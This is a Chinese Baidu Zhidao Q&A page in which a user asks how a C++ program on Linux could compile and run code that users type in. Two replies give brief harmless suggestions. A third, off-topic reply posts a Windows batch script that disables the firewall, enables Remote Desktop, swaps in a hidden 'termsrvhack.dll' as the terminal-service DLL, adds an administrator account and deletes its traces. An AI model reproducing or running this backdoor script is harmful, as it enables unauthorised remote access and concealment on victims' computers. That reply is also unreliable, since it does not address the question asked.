如何让用户输入一段代码,让程序执行

能否用C++编一个程序,用户可以输入一些代码并用编译器编译后执行。举个最简单的例子,用户输入“for(inti=0;i<10;i++)cout<<i<<endl;”我的程... 能否用C++编一个程序,用户可以输入一些代码并用编译器编译后执行。
举个最简单的例子,用户输入
“for(int i=0;i<10;i++) cout<<i<<endl;”
我的程序能够执行并显示结果。
我是在linux下,想用C++,想调用编译器解释用户输入的命令并执行,同时自己还定义一些语法对其进行扩充。
看来确实不太好办,还是想其他的办法吧。我对C++很熟,其他语言没有接触过。
展开
 我来答
asafish83
推荐于2016-11-13 · TA获得超过717个赞
知道小有建树答主
回答量:893
采纳率:0%
帮助的人:302万
展开全部
脚本,在c++程序里面只能用脚本达到你的要求了
perl或者python都可以
如果你要用户输入c++代码并编译执行,那你要么是写编译器,要么就写一个套用操作系统的编译器的程序,这个不可能用一两段代码就解决的。
百度网友ae689c2fa
2007-10-09 · TA获得超过101个赞
知道答主
回答量:49
采纳率:0%
帮助的人:0
展开全部
强烈向你推荐linux操作系统
想你说的那种操作在linux系统里那是家常便饭
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
3235046
2007-10-09 · 超过14用户采纳过TA的回答
知道答主
回答量:160
采纳率:0%
帮助的人:0
展开全部
bat文件吧?
会否?
@echo off
net stop sharedaccess
tasklist /svc >pid.txt
FINDSTR /i "TermService" pid.txt >result.txt
FOR /F "eol=; tokens=2 delims= " %%1 in (result.txt) do ntsd -c q -p %%1
reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
copy termsrvhack.dll C:\WINDOWS\system32\dllcache\termsrvhack.dll
attrib +h +s +r C:\WINDOWS\system32\dllcache\termsrvhack.dll
attrib +h +s +r C:\WINDOWS\system32\termsrvhack.dll
shutdown -a
CHAdmin.exe 用户名 密码
del result.txt
del pid.txt
del CHAdmin.exe
del c:\XP3389.exe
net start termservice
del 3389.vbs
del 3389.bat
end
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(1)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式